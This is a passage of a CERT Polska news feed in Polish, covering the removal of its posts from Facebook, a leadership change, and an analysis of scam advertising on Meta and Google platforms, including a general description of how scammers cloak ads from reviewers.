&lt;/style&gt;

&lt;p&gt;&lt;img class="thumbnail" src="/uploads/2024/11/blokada-meta.png" /&gt;&lt;/p&gt;
&lt;p&gt;W odpowiedzi na coraz częstsze sygnały dotyczące ograniczania widoczności postów linkujących do opracowanej przez ekspertów CERT Polska analizy oszustw na platformach społecznościowych, chcemy podkreślić, że &lt;strong&gt;nie ma w nas zgody na takie działania&lt;/strong&gt;.  &lt;/p&gt;
&lt;p&gt;Materiał, który został opublikowany na stronie CERT Polska w kompleksowy sposób pokazuje jak oszuści, bez żadnych przeszkód, wykorzystują serwisy społecznościowe do oszukiwania Polaków. Spotyka się to z naszym stanowczym i konkretnym działaniem. Dlatego we współpracy z innymi CSIRT-ami, staramy się na bieżąco informować właścicieli platform o zagrożeniach dystrybuowanych za pośrednictwem reklam. Naszą rolą jest także ostrzegać, dlatego na przykładach pokazujemy jakie narzędzia wykorzystują przestępcy do swoich działań. Rozbudowana analiza na ten temat ukazała się w tym tygodniu na naszej stronie internetowej. Chcąc dotrzeć z przekazem tam, gdzie jest on najbardziej potrzebny, zdecydowaliśmy się link do artykułu umieścić na platformie Facebook. &lt;strong&gt;W krótkim czasie od publikacji materiał został usunięty.&lt;/strong&gt; Podobny los spotyka artykuły przygotowane przez media, które zdecydowały się podjąć temat publikacji CERT Polska.  &lt;/p&gt;
&lt;p&gt;&amp;ndash; &lt;em&gt;Polacy, którzy korzystają z platform obdarzają je zaufaniem, dlatego mamy prawo oczekiwać od ich władz i administratorów, że to zaufanie nie będzie wykorzystywane w niewłaściwy sposób. Żeby tak się stało potrzebujemy proaktywnej postawy u naszych partnerów&lt;/em&gt; &amp;ndash; podkreśla Marcin Dudek, kierujący pracami CERT Polska.  &lt;/p&gt;
&lt;p&gt;&amp;ndash; &lt;em&gt;Kluczowa wydaje się w tym momencie kwestia poprawy moderacji, która pozwala na to, by oszukańcze treści trafiały do użytkowników. Wierzę, że świadomość tego jak wiele szkód wyrządzają te reklamy jest po obu stronach. Mam też poczucie, że Meta to odpowiedzialny podmiot, który podejmie zdecydowaną walkę z tym procederem. My natomiast jesteśmy gotowi współpracować. Celem powinien być wzrost bezpieczeństwa Polaków&lt;/em&gt; &amp;ndash; dodaje.  &lt;/p&gt;
&lt;div class="centered-smaller"&gt;
    &lt;div class="side-by-side row"&gt;
        &lt;div class="column"&gt;
            &lt;img src="/uploads/2024/11/blokada-meta-telepolis.png"/&gt;
        &lt;/div&gt;
        &lt;div class="column"&gt;
            &lt;img src="/uploads/2024/11/blokada-meta-sekurak.png"/&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Analiza, która wzbudziła żywą dyskusję o tym jak wygląda bezpieczeństwo użytkowników platform jest dostępna na stronie internetowej CERT Polska: &lt;a href="https://cert.pl/posts/2024/11/Oszustwa-reklamowe-na-duzych-platformach/"&gt;Oszustwa reklamowe na dużych platformach internetowych | CERT Polska&lt;/a&gt;.&lt;/p&gt;</content><category term="News"></category></entry><entry><title>Marcin Dudek nowym kierownikiem CERT Polska</title><link href="https://cert.pl/posts/2024/11/marcin-dudek-kierownikiem/" rel="alternate"></link><published>2024-11-29T10:20:00+01:00</published><updated>2024-11-29T10:20:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-11-29:/posts/2024/11/marcin-dudek-kierownikiem/</id><summary type="html">Obowiązki szefa CERT Polska 1 grudnia przejmie Marcin Dudek. Natomiast Sebastian Kondraszuk, dotychczasowy szef Zespołu, obejmie nowo utworzoną funkcję architekta współpracy sektorowych CSIRT-ów.</summary><content type="html">&lt;style&gt;
.article .thumbnail {
    display: inline-block;
    margin: 0 0 5px 20px;
    float: right;
    width: 100%;
    max-width: 450px;
}
&lt;/style&gt;

&lt;p&gt;&lt;img class="thumbnail" src="/uploads/2024/11/marcin-dudek-kierownikiem.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Marcin Dudek&lt;/strong&gt; pracuje w CERT Polska od pięciu lat. Zajmował się tu do tej pory koordynacją analizy zagrożeń APT oraz bezpieczeństwem systemów przemysłowych. Wcześniej zdobywał doświadczenie w reagowaniu na incydenty komputerowe w firmach z sektora prywatnego, jak i w instytucjach państwowych, w szczególności w obszarze cyberbezpieczeństwa obiektów jądrowych.&lt;/p&gt;
&lt;p&gt;Ukończył studia informatyczne na Wojskowej Akademii Technicznej oraz studia z zarządzania cyberbezpieczeństwem na University of Warwick w Wielkiej Brytanii.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Sebastian Kondraszuk&lt;/strong&gt;, który dotychczas kierował zespołem CERT Polska, objął nowo utworzone stanowisko architekta współpracy międzysektorowej. Jego rolą będzie animowanie współpracy CSIRT-ów (zespołów reagowania na incydenty bezpieczeństwa komputerowego) sektorowych zgodnie z wymogami unijnej dyrektywy NIS2.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Rozwój kompetencji sektorowych zespołów cyberbezpieczeństwa to wyzwanie, które przynosi NIS2. Moje nowe zadania mogą w istotny sposób przyczynić się do podniesienia poziomu cyberbezpieczeństwa w obszarach, które tego wsparcia wymagają. W nowej roli zamierzam wykorzystać wszystkie dostępne mi zdolności i narzędzia. – podkreśla Sebastian Kondraszuk, dotychczasowy szef CERT Polska.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Sebastian Kondraszuk zaznacza też, że pozostawia zespół w dobrych rękach i w momencie, kiedy marka CSIRT NASK jest silna jak nigdy dotąd. Kondraszuk z CERT Polska związany jest od ponad dziewięciu lat. Pracami zespołu kierował przez ostatnie trzy lata. Nowe stanowisko to odpowiedź na wyzwania stojące przed krajowym systemem cyberbezpieczeństwa.&lt;/p&gt;</content><category term="News"></category></entry><entry><title>Oszustwa reklamowe na dużych platformach internetowych</title><link href="https://cert.pl/posts/2024/11/Oszustwa-reklamowe-na-duzych-platformach/" rel="alternate"></link><published>2024-11-25T14:11:00+01:00</published><updated>2024-11-25T14:11:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-11-25:/posts/2024/11/Oszustwa-reklamowe-na-duzych-platformach/</id><summary type="html">Sekretny sposób na zarabianie pieniędzy wyjawiony przez celebrytę, czy możliwość wzbogacenia się na rządowym programie inwestowania w spółki państwowe - takie informacje umieszczane przez oszustów w reklamach, które znajdujemy na platformach społecznościowych mają skłaniać do kliknięcia w linki prowadzące do stron, których celem jest nam zaszkodzić.</summary><content type="html">&lt;style&gt;
.article .thumbnail {
    display: inline-block;
    margin: 0 0 5px 20px;
    float: right;
    width: 100%;
    max-width: 450px;
}

.article .centered-smaller {
    max-width: 600px;
    width: 100%;
    margin: auto;
}

.article .image-on-left {
    display: inline-block;
    margin: 5px 20px 1.25rem 0;
    float: left;
    width: 100%;
    max-width: 450px;
}
.article .image-on-right {
    display: inline-block;
    margin: 5px 0 1.25rem 20px;
    float: right;
    width: 100%;
    max-width: 450px;
}

.article .side-by-side.row {
    display: flex;
    clear: both;
}

.article .side-by-side .column {
    flex: 50%;
    padding: 5px;
}

.article .side-by-side .column-3-by-side {
    flex: 33%;
    padding: 5px;
}

.article .image-description {
    margin: 0 auto 10pt auto;
    text-align: center;
    font-style: italic;
}

@media (max-width: 479px) {
    .article .image-on-right {
        display: block;
        width: 100%;
        float: none;
        margin: 0;
        max-width: unset;
    }
    .article .image-on-left {
        display: block;
        width: 100%;
        float: none;
        margin: 0;
        max-width: unset;
    }
}
&lt;/style&gt;

&lt;p&gt;Sekretny sposób na zarabianie pieniędzy wyjawiony przez celebrytę, czy możliwość wzbogacenia się na rządowym programie inwestowania w spółki państwowe &amp;ndash; takie informacje umieszczane przez oszustów w reklamach, które znajdujemy na platformach społecznościowych mają skłaniać do kliknięcia w linki prowadzące do stron, których celem jest nam zaszkodzić. Emocje przykuwają uwagę, dlatego niektóre z tych treści są szokujące: przerobione zdjęcia celebrytów &amp;ndash; pokazujące ich nagich, pobitych, w szpitalach czy po wypadkach. Nagrania udające, że pochodzą z telewizji informacyjnej lub znanego portalu z wiadomościami. Wszystko po to, żeby nami wstrząsnąć, zaniepokoić, zaciekawić i skłonić do podążenia ścieżką przygotowaną przez cyberprzestępców.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Dlatego CERT Polska bez przerwy monitoruje działania oszustów &amp;ndash; wyszukuje reklamy i reaguje.&lt;/strong&gt; W procesie ich identyfikacji nieocenione są też zgłoszenia, które każdy może przesłać do CERT Polska za pomocą formularza &lt;a href="https://incydent.cert.pl"&gt;https://incydent.cert.pl&lt;/a&gt;. Tylko w 2023 roku, CERT Polska zablokował &lt;a href="https://cert.pl/uploads/docs/Raport_CP_2023.pdf"&gt;80 tys. domen szkodliwych domen&lt;/a&gt;, w tym &lt;a href="https://www.nask.pl/pl/aktualnosci/5368,CERT-Polska-Liczba-oszustw-finansowych-w-internecie-alarmujaco-rosnie-Na-co-uwaz.html"&gt;32 tys. domen związanych z fałszywymi inwestycjami&lt;/a&gt;. Każdego dnia na Listę trafiają kolejne oszukańcze witryny. Średnio to dziennie ponad 250 stron, które analitycy CERT Polska jednoznacznie oceniają jako takie, których zadaniem jest oszukiwanie Polaków. Dostęp do tych stron jest następnie blokowany – w zeszłym roku uniemożliwiono wejście na strony z Listy 50 mln razy, w tym roku zablokowaliśmy już 75 mln takich prób.&lt;/p&gt;
&lt;p&gt;Warto podkreślić, że jedynymi podmiotami, które mogą skutecznie &lt;strong&gt;ograniczyć zasięgi oszustów&lt;/strong&gt; są platformy reklamowe należące do gigantów technologicznych jak &lt;strong&gt;Meta (Facebook, Instagram) czy Google&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Jednakże pomimo istnienia mechanizmów raportowania szkodliwych reklam, w praktyce platformy &lt;strong&gt;obsługują zgłoszenia z dużym opóźnieniem albo odrzucają je&lt;/strong&gt;, szczególnie gdy zgłoszenia pochodzą od zwykłego użytkownika. W efekcie ciężar filtrowania treści przerzucany jest na zewnętrzne podmioty, takie jak dostawcy usług telekomunikacyjnych i zespoły CSIRT takie jak CERT Polska czy CSIRT KNF, który działając na rzecz sektora finansowego, także wspiera nas w oznaczaniu i zgłaszaniu tego rodzaju treści.&lt;/p&gt;
&lt;p&gt;W ramach naszych obserwacji dostrzegliśmy, że problem reklam jest znacznie szerszy i dotyczy, najogólniej mówiąc, reakcji platformy na oszukańcze treści. Mamy tu na myśli m.in. to, że &lt;strong&gt;konta&lt;/strong&gt; z których wielokrotnie publikowane są złośliwe reklamy &lt;strong&gt;często nie są blokowane&lt;/strong&gt; i przestępcy mogą korzystać z nich dalej bez przeszkód. &lt;/p&gt;
&lt;p&gt;W dalszej części artykułu opiszemy dokładnie naturę problemu oraz co mogłyby robić wielkie platformy w celu ochrony swoich użytkowników.&lt;/p&gt;
&lt;h2&gt;Oszustwa reklamowe i fałszywe inwestycje&lt;/h2&gt;
&lt;p&gt;Duże platformy internetowe takie jak wyszukiwarki i serwisy społecznościowe są coraz częściej wykorzystywane jako agregatory treści i źródło wiedzy. Portale te korzystają z wielu mechanizmów (tzw. “algorytmów”), które profilują użytkowników i &lt;a href="https://about.fb.com/news/2021/02/lets-talk-about-why-personalized-ads-matter/"&gt;dopasowują wyświetlane treści do ich zainteresowań&lt;/a&gt;. &lt;/p&gt;
&lt;p&gt;&lt;img class="image-on-left" src="/uploads/2024/11/meta-1771dcc0-9fec-4aff-a5c6-e943b96d689b.png" /&gt;&lt;/p&gt;
&lt;p&gt;Jednocześnie, twórcy treści chcą, aby ich informacja wyświetliła się jak najszerszemu gronu. W związku z tym platformy oferują usługi reklamowe, takie jak “posty sponsorowane”, które po uiszczeniu opłaty pozwalają dotrzeć do szerszego grona użytkowników niż poprzez standardowe posty. Narzędzia oferowane twórcom reklam oferują wiele opcji, pozwalających na &lt;a href="https://www.facebook.com/business/help/170372403538781?id=244556379685063&amp;amp;ref=fbb_adsmanager_products"&gt;spersonalizowanie reklamy&lt;/a&gt; i na wyświetlenie wersji dopasowanej do wieku, płci, pochodzenia lub zainteresowań odbiorcy.&lt;/p&gt;
&lt;p&gt;Analogicznie w wyszukiwarkach internetowych funkcjonuje mechanizm “linków sponsorowanych”, które pozycjonowane są jako pierwsze wyniki przy wyszukiwaniu odpowiednich słów kluczowych, wskazanych przez reklamodawcę. &lt;/p&gt;
&lt;p&gt;Mechanizmy reklamowe są aktywnie wykorzystywane przez oszustów, którzy za ich pośrednictwem szeroko dystrybuują linki do oszukańczych stron internetowych. Jednym z powszechnych oszustw są w tym przypadku &lt;a href="https://cert.pl/falszywe-inwestycje/"&gt;fałszywe inwestycje&lt;/a&gt;. Posty starają się zachęcać użytkowników do kliknięcia poprzez sensacyjne i krzykliwe nagłówki, szokujące fałszywe newsy, a także podszywając się pod znane portale informacyjne. Aby podbić zainteresowanie postem, oszuści wykorzystują wizerunki znanych osób publicznych i autorytetów takich jak lekarze, dziennikarze czy przedsiębiorcy.&lt;/p&gt;
&lt;p&gt;Po kliknięciu w link, użytkownik prowadzony jest do strony z informacjami o rzekomej inwestycji i formularzem kontaktowym. Po jego wypełnieniu, na podany numer telefonu oddzwania podstawiony “konsultant”, który nakłania użytkownika do podpisania umowy, zarejestrowania konta na fałszywej platformie i przelewu środków.&lt;/p&gt;
&lt;div class="centered-smaller"&gt;
&lt;img src="/uploads/2024/11/infinity-bitwave.png" /&gt;
&lt;/div&gt;

&lt;div class="image-description"&gt;
Zrzut ekranu ze strony fałszywej platformy inwestycyjnej ”Infinity Bitwave”.
&lt;/div&gt;

&lt;p&gt;W dalszych etapach oszustwa, użytkownicy nakłaniani są do zainstalowania oprogramowania pozwalającego na zdalny dostęp do telefonu i komputera. Opis najczęstszych schematów oszustwa można znaleźć między innymi &lt;a href="https://www.knf.gov.pl/dla_konsumenta/kampanie_informacyjne/cyberoszustwa_inwestycyjne/schematy_oszustw/oszustwa_inwestycyjne"&gt;na stronie Komisji Nadzoru Finansowego&lt;/a&gt;. W efekcie, ofiary doprowadzane są do strat pieniędzy, czasem sięgających &lt;a href="https://policja.pl/pol/aktualnosci/237746,Uwaga-na-oszustwa-internetowe-56-latek-stracil-ponad-milion-zlotych.html"&gt;ponad miliona złotych&lt;/a&gt;. Oprócz utraconych oszczędności, ofiary często muszą również mierzyć się ze spłatą zaciągniętych przez przestępców pożyczek i kredytów, a także wykorzystaniem ich tożsamości w celu oszukania kolejnych osób. &lt;/p&gt;
&lt;p&gt;Przezorni użytkownicy czasem podejmują próbę zweryfikowania czy dana platforma jest prawdziwą platformą inwestycyjną np. poprzez wyszukanie opinii w wyszukiwarce Google. Zazwyczaj trafiają wtedy na wysoko pozycjonowane &lt;strong&gt;linki do fałszywych recenzji&lt;/strong&gt;, które mają na celu uwiarygodnienie platformy. &lt;/p&gt;
&lt;div class="centered-smaller"&gt;
&lt;img src="/uploads/2024/11/google-fake-recenzje.png" /&gt;
&lt;/div&gt;

&lt;div class="image-description"&gt;
Fałszywe recenzje platformy "Infinity Bitwave" wysokopozycjonowane w wyszukiwarce Google.
&lt;/div&gt;

&lt;p&gt;Liczne “recenzje” można odnaleźć również na platformie YouTube np. w postaci deepfake’ów wykorzystujących wizerunek i głos znanych polskich przedsiębiorców i influencerów.&lt;/p&gt;
&lt;div class="centered-smaller"&gt;
&lt;img src="/uploads/2024/11/infinity-bitwave-youtube.png" /&gt;
&lt;/div&gt;

&lt;div class="image-description"&gt;
Fałszywa recenzja platformy "Infinity Bitwave" wykorzystująca wizerunek znanego przedsiębiorcy Rafała Brzoski.
&lt;/div&gt;

&lt;p&gt;Duża liczba reklam i treści uwiarygadniających oszustwo sprawia, że przestępcom udaje się skutecznie przekonać niektórych użytkowników do wzięcia udziału w fałszywej inwestycji.&lt;/p&gt;
&lt;p&gt;CERT Polska ostrzega o tym problemie &lt;strong&gt;co najmniej od 2020 roku&lt;/strong&gt;, gdy pisaliśmy o fałszywych stronach bankowości elektronicznej pojawiających się w &lt;a href="https://www.facebook.com/CERT.Polska/posts/pfbid03HcNTHYw7SZg8hTixyunyY5jLHbeBApEyuGEAkhQgM2dxJk6Cx256M5mcB8MUK5hl"&gt;sponsorowanych linkach w wyszukiwarce Google&lt;/a&gt;. W 2022 roku CSIRT KNF ostrzegał o pojawiających się sponsorowanych postach na Facebooku wykorzystujących wizerunki &lt;a href="https://www.facebook.com/CERT.Polska/posts/pfbid02pBwgAKTQLzxTJ7HrJrdotYUwWB4zHJcXSDT97CzBbcZp2DuHm1oYRfRrfHwGRauAl"&gt;polskich piłkarzy do promowania fałszywych inwestycji&lt;/a&gt;. W 2023 roku ostrzegaliśmy o &lt;a href="https://www.facebook.com/CERT.Polska/posts/pfbid02aw6ynJUvnYHMFAuXeJBDtgR55VE1pJvxGMGGFPPXRXibydCB7Vhom9HMiu5vihiRl"&gt;linkach w Google prowadzących do fałszywych platform inwestycyjnych&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Z każdym rokiem można zaobserwować coraz większe nasilenie tego typu incydentów. W 2023 roku CSIRT KNF zgłosił do platform ponad 7,5 tys. reklam. &lt;a href="https://www.knf.gov.pl/knf/pl/komponenty/img/Raport_roczny_CSIRT_KNF_88762.pdf"&gt;W raporcie rocznym CSIRT KNF za 2023 rok&lt;/a&gt; znajdują się dokładne statystyki z podziałem na miesiące i wykorzystywane wizerunki w oszukańczych reklamach.&lt;/p&gt;
&lt;div class="centered-smaller"&gt;
&lt;img src="/uploads/2024/11/statystyki-knf.png" /&gt;
&lt;/div&gt;

&lt;div class="image-description"&gt;
Wykres z raportu rocznego CSIRT KNF za 2023 rok przedstawiający liczbę zgłoszonych reklam do CSIRT NASK
&lt;/div&gt;

&lt;p&gt;W 2023 roku &lt;a href="https://www.nask.pl/pl/aktualnosci/5368,CERT-Polska-Liczba-oszustw-finansowych-w-internecie-alarmujaco-rosnie-Na-co-uwaz.html"&gt;CSIRT NASK zablokował za pomocą Listy Ostrzeżeń ponad 32 tys. domen związanych z fałszywymi inwestycjami&lt;/a&gt;. &lt;/p&gt;
&lt;h2&gt;Inne kampanie wykorzystujące reklamy i posty na mediach społecznościowych&lt;/h2&gt;
&lt;p&gt;Problem oszukańczych reklam nie zawęża się wyłącznie do fałszywych inwestycji. CERT Polska obserwuje również kampanie phishingowe, mające na celu wyłudzić od użytkowników dane do logowania lub skłonić do wykonania przelewu pieniędzy. Obserwowane są również kampanie związane ze sprzedażą cudownych “leków” i suplementów diety. Wspomniane reklamy wykorzystują podobne techniki przyciągania uwagi użytkowników i omijania moderacji treści do tych stosowanych w przypadku reklam inwestycji.&lt;/p&gt;
&lt;h3&gt;Reklamy “cudownych leków” i suplementów diety&lt;/h3&gt;
&lt;p&gt;W 2024 roku zauważyliśmy pojawienie się reklam produktów medycznych, które reklamowane są z wykorzystaniem podobnych technik, jak miało to miejsce w przypadku oszustw inwestycyjnych. Reklamy najczęściej wykorzystywały wizerunek lekarzy jako autorytetów medycznych zaświadczających o skuteczności danego leku, a także dziennikarzy rzekomo prowadzących materiał w dzienniku informacyjnym. &lt;/p&gt;
&lt;p&gt;Strony, do których prowadziły reklamy najczęściej imitowały popularne strony informacyjne takie jak np. TVP Info lub podszywały się pod informacyjne strony rządowe np. Ministerstwa Zdrowia.&lt;/p&gt;
&lt;div class="centered-smaller"&gt;
    &lt;div class="side-by-side row"&gt;
        &lt;div class="column"&gt;
            &lt;img src="/uploads/2024/11/meta-inwalidzi.jpg" /&gt;
        &lt;/div&gt;
        &lt;div class="column"&gt;
            &lt;img src="/uploads/2024/11/meta-bielecki.jpg" /&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;div class="image-description"&gt;
Fałszywe reklamy, wykorzystujące wizerunek lekarzy w celu promocji suplementów.
&lt;/div&gt;

&lt;h3&gt;Fałszywe zbiórki dla ofiar powodzi z września 2024 roku&lt;/h3&gt;
&lt;p&gt;Dla oszustów nie ma tematów tabu, a każda tragedia to okazja do zysku. W kampaniach pojawił się również motyw powodzi. Klęska spowodowała znaczące straty na terenie m.in. województwa dolnośląskiego, w związku z czym uruchomiono wiele zbiórek i akcji pomocowych. Jedna z kampanii, stosując posty sponsorowane, propagowała fałszywą zbiórkę rzekomo zorganizowaną przez WOŚP.&lt;/p&gt;
&lt;div class="centered-smaller"&gt;
    &lt;div class="side-by-side row"&gt;
        &lt;div class="column"&gt;
            &lt;img src="/uploads/2024/11/fake-skarbonka-reklama.jpeg" /&gt;
        &lt;/div&gt;
        &lt;div class="column"&gt;
            &lt;img src="/uploads/2024/11/fake-skarbonka-strona.jpeg" /&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;div class="image-description"&gt;
Przykład oszustwa wykorzystującego motyw powodzi.
&lt;/div&gt;

&lt;h3&gt;Reklamy wykorzystujące materiały erotyczne i pornograficzne&lt;/h3&gt;
&lt;p&gt;W reklamach odnotowaliśmy również wykorzystanie materiałów pornograficznych w celu promocji środków na potencję. Reklamy te wykorzystywały podobne techniki tzw. “cloakingu” co reklamy promujące fałszywe inwestycje. Mimo tego, że reklamy przedstawiały wprost treści pornograficzne, często nie były blokowane przez platformę Meta przez wiele tygodni.&lt;/p&gt;
&lt;div class="centered-smaller"&gt;
    &lt;div class="side-by-side row"&gt;
        &lt;div class="column"&gt;
            &lt;img src="/uploads/2024/11/meta-porn1.jpeg" /&gt;
        &lt;/div&gt;
        &lt;div class="column"&gt;
            &lt;img src="/uploads/2024/11/meta-porn2.jpeg" /&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;div class="image-description"&gt;
Reklamy zawierające treści pornograficzne, nakłaniające do zakupu środków na potencję.
&lt;/div&gt;

&lt;h2&gt;Wykorzystywanie wizerunków celebrytów w reklamach na platformach firmy Meta&lt;/h2&gt;
&lt;p&gt;W ramach badań tego zjawiska, dostrzegliśmy wykorzystanie wizerunku &lt;strong&gt;ponad 139 osób publicznych&lt;/strong&gt;, w tym polityków, dziennikarzy, sportowców, lekarzy i influencerów. Reklamy zawierały spreparowane grafiki lub filmy szerzące fałszywe informacje na temat rzekomej śmierci, kompromitującej sytuacji lub ujawnionego spisku, aby skłonić użytkownika do wejścia na stronę. Ten mechanizm przynosi straty wizerunkowe po stronie osób, których wizerunek został wykorzystany w nieuprawiony sposób, ale jest także niezwykle groźny społecznie. Zaufanie, którym obserwujący obdarzają swoich idoli, było nadużywane i wykorzystywane do budowania autorytetu, a finalnie do okradania nieświadomych użytkowników, którzy za swoje straty finansowe obwiniali tych, których “twarzy” użyli oszuści. &lt;/p&gt;
&lt;div class="centered-smaller"&gt;
    &lt;div class="side-by-side row"&gt;
        &lt;div class="column"&gt;
            &lt;img src="/uploads/2024/11/meta-reklama1.jpeg" /&gt;
        &lt;/div&gt;
        &lt;div class="column"&gt;
            &lt;img src="/uploads/2024/11/meta-reklama2.jpeg" /&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;div class="image-description"&gt;
Dobrym sposobem na zwrócenie uwagi ludzi jest wykorzystanie znanych twarzy.
&lt;/div&gt;

&lt;h2&gt;Cloaking - jak przestępcy omijają automatyczne weryfikacje&lt;/h2&gt;
&lt;p&gt;Platformy starają się weryfikować treści, ale oszuści stosują tak zwany “cloaking” czyli zestaw metod, które pozwalają wyświetlić mechanizmom weryfikacyjnym inną stronę lub inną reklamę niż użytkownikom. &lt;/p&gt;
&lt;p&gt;Zaobserwowaliśmy, że w tym celu przestępcy sprawdzają m.in.: &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;nagłówek User-Agent&lt;/strong&gt; identyfikujący z jakiej przeglądarki i jakiego systemu operacyjnego jest odwiedzana strona&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;nagłówek Referer&lt;/strong&gt;, który identyfikuje z jakiej strony użytkownik wszedł na stronę reklamową (bezpośrednio czy poprzez kliknięcie w link na Facebooku) &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;adres IP&lt;/strong&gt; &amp;ndash; znane adresy IP należące do NASK czy KNF, ale także do Facebooka czy Google są automatycznie blokowane. &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Jeśli parametry te nie pasują do typowego użytkownika internetu i mogą wskazywać na analityka lub bota, następuje przekierowanie do strony, która wygląda na zwykły, niegroźny portal. Przykładowo, jeśli klikniemy w link reklamowy i strona uzna, że jesteśmy botem &amp;ndash; przekierowywani jesteśmy do przygotowanej przez oszustów statycznej strony rzekomego zespołu zajmującego się coachingiem biznesowym.
Jeśli natomiast skorzystamy z odpowiedniej przeglądarki i bardziej typowego adresu IP, otrzymamy przekierowanie na właściwą stronę.&lt;/p&gt;
&lt;div&gt;
    &lt;div class="side-by-side row"&gt;
        &lt;div class="column"&gt;
            &lt;img src="/uploads/2024/11/google-cloaked-page.png" /&gt;
        &lt;/div&gt;
        &lt;div class="column"&gt;
            &lt;img src="/uploads/2024/11/google-real-page.jpeg" /&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;div class="image-description"&gt;
Ta sama reklama odwiedzona z przeglądarki na systemie Linux i Windows.
&lt;/div&gt;

&lt;h2&gt;Metody cloakingu stosowane w wyszukiwarkach reklam (Ad Library)&lt;/h2&gt;
&lt;p&gt;Reklamy na platformach wyświetlają się użytkownikom w zależności od decyzji “algorytmu”, stąd wyszukiwanie takich treści w tzw. feedzie jest znacząco utrudnione. Użytkownicy nie mają również przystępnej możliwości do zalinkowania wyświetlonego im posta bądź linku sponsorowanego. Na szczęście, niektóre platformy oferują Biblioteki reklam, takie jak &lt;a href="https://www.facebook.com/ads/library"&gt;Ad Library prowadzone przez firmę Meta&lt;/a&gt;. &lt;/p&gt;
&lt;p&gt;Platformy te posiadają jednak znane błędy, które umożliwiają wyświetlenie zupełnie innej treści w Ad Library niż ta która jest wyświetlana użytkownikom.&lt;/p&gt;
&lt;div class="side-by-side row"&gt;
    &lt;div class="column-3-by-side"&gt;
        &lt;img src="/uploads/2024/11/meta-library-1.jpeg" /&gt;
    &lt;/div&gt;
    &lt;div class="column-3-by-side"&gt;
        &lt;img src="/uploads/2024/11/meta-library-2.jpeg" /&gt;
    &lt;/div&gt;
    &lt;div class="column-3-by-side"&gt;
        &lt;img src="/uploads/2024/11/meta-library-3.jpeg" /&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;div class="image-description"&gt;
Ad Library pozwala dowiedzieć się więcej na temat reklamy, którą widzimy.
&lt;/div&gt;

&lt;p&gt;Z poziomu reklamy, do Ad Library można przejść poprzez wybranie opcji “Dlaczego widzę tę reklamę”, następnie “Wybór reklamodawców”, a potem opcję “Wyświetl szczegóły reklamy w bibliotece reklam Meta”.  &lt;/p&gt;
&lt;p&gt;Niestety, w bibliotece reklam widnieje często zupełnie inna treść niż wyświetlana w oryginalnym poście, ponieważ reklama posiada kilka wersji. Stosowanie wielu wersji reklamy ma na celu obejście mechanizmów weryfikacyjnych. Jeśli wszystkie wersje reklamy zostały poprawnie zaindeksowane w Ad Library, czasem udaje się wśród wersji odnaleźć właściwą treść.&lt;/p&gt;
&lt;div class="centered-smaller"&gt;
    &lt;div class="side-by-side row"&gt;
        &lt;div class="column"&gt;
            &lt;img src="/uploads/2024/11/version-cloaking1.png" /&gt;
        &lt;/div&gt;
        &lt;div class="column"&gt;
            &lt;img src="/uploads/2024/11/version-cloaking2.png" /&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;div class="image-description"&gt;
Demonstracja wykorzystania wielu wersji reklam w celu utrudnienia pracy analityków.
&lt;/div&gt;

&lt;p&gt;Jednak nie zawsze jest to możliwe, ponieważ zarówno reklamy, jak i ich nowe wersje &lt;strong&gt;indeksowane są z opóźnieniem&lt;/strong&gt;, czasem sięgającym 24 godzin. Jednocześnie, niezaindeksowane wersje są już w tym czasie &lt;strong&gt;wyświetlane użytkownikom&lt;/strong&gt;. Stąd często w Ad Library widnieje przez dłuższy czas wyłącznie jedna wersja reklamy, z alternatywną grafiką. Czasem zdarza się również, że &lt;strong&gt;żadna z wersji reklamy nie zostaje zaindeksowana w Ad Library&lt;/strong&gt;, pomimo, że reklama jest wyświetlana użytkownikom. W takiej sytuacji użytkownik biblioteki reklam otrzymuje komunikat, że reklama nie jest jeszcze dostępna.&lt;/p&gt;
&lt;div class="centered-smaller"&gt;
    &lt;div class="side-by-side row"&gt;
        &lt;div class="column"&gt;
            &lt;img src="/uploads/2024/11/version-cloaking3.jpeg" /&gt;
        &lt;/div&gt;
        &lt;div class="column"&gt;
            &lt;img src="/uploads/2024/11/version-cloaking4.jpeg" /&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;div class="image-description"&gt;
Niepoprawna wersja reklamy i brak reklamy w Ad Library po przejściu do biblioteki za pomocą opcji&lt;br&gt;"Wyświetl szczegóły reklamy w bibliotece Meta"
&lt;/div&gt;

&lt;p&gt;Możliwość odnalezienia reklamy 24 godziny po jej dodaniu to zdecydowanie za późno. Według statystyk, ponad 50% ofiar kampanii phishingowych podaje swoje dane &lt;strong&gt;już w ciągu pierwszej godziny&lt;/strong&gt;, a średni czas trwania kampanii &amp;ndash; od pierwszej do ostatniej ofiary &amp;ndash; to 21 godzin. Czas reakcji jest kluczowy, dlatego przykładowo np. rekomendujemy aktualizację naszej listy &lt;a href="https://cert.pl/lista-ostrzezen/"&gt;co 5 minut&lt;/a&gt;.&lt;/p&gt;
